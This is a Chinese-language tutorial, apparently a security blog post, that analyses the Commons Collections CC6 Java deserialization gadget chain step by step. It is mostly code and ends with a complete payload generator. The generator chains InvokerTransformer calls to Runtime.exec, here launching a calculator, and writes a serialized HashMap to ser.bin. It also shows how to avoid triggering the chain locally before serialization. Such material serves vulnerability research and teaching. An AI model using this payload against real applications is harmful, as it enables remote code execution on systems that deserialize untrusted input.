CC6利用链分析
相比较于cc1,cc6主要用的多一点的原因就是兼容高版本jdk。
在前面的cc1中的LazyMap链分析中已经看到了,如果想要通过LazyMap来利用cc1,那么我们需要关注的就是get方法的调用位置,于是遍历以后发现在TiedMapEntry类中的getValue就使用到了get方法:
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
并且这里的map值是可控的,所以,我们可以得到一个新的链子:
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
tiedMapEntry.getValue();
}
}
然后继续分析这里发现在TideMapEntry中的hashcode方法还调用了getValue:
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
也就是说这里直接调用hashcode方法,一样可以触发到LazyMap的get方法:
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
tiedMapEntry.hashCode();
}
}
然后分析过URLDNS链的话,在这里就会比较敏感了,因为在HashMap的put方法里面会调用hash方法,并且key值可控:
/**
* Associates the specified value with the specified key in this map.
* If the map previously contained a mapping for the key, the old
* value is replaced.
*
* @param key key with which the specified value is to be associated
* @param value value to be associated with the specified key
* @return the previous value associated with <tt>key</tt>, or
* <tt>null</tt> if there was no mapping for <tt>key</tt>.
* (A <tt>null</tt> return can also indicate that the map
* previously associated <tt>null</tt> with <tt>key</tt>.)
*/
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
然后,在这个hash方法中会调用key的hashcode方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
所以这里修改一下我们的链子:
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,123);
}
}
然后还是同样的方法,我们尝试反序列化,需要找到一个重写了readObject并且还利用了hash方法的类,实际上HashMap的readobject就能实现:
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,123);
serialize(hashMap);
// unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
inputStream.close();
}
}
但是到这里一步大家会发现,这里由于在序列化的时候本地执行了命令,所以,在反序列化的时候是失败的。所以这里我们要想个办法让其在序列化之前不执行命令,那么就需要将Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
中的chaineTransformer
先替换掉。然后在反序列化之前再修改过来,这里可以通过new ConstantTransformer(1)
来替换。因为在ConstantTransformer中,通过transform方法会返回自身:
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
所以,修改以后的链子如下:
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,123);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
serialize(hashMap);
// unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
inputStream.close();
}
}
这里在反序列话的时候还是失败,所以调试的时候终于发现了问题,这里因为表达式为true,所以会直接跳出,并且这里的key值已经为12了:
所以这里,我们需要在序列化之前删掉key值,最后完整的payload如下:
package sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,123);
decorate.remove("12");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
serialize(hashMap);
// unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
inputStream.close();
}
}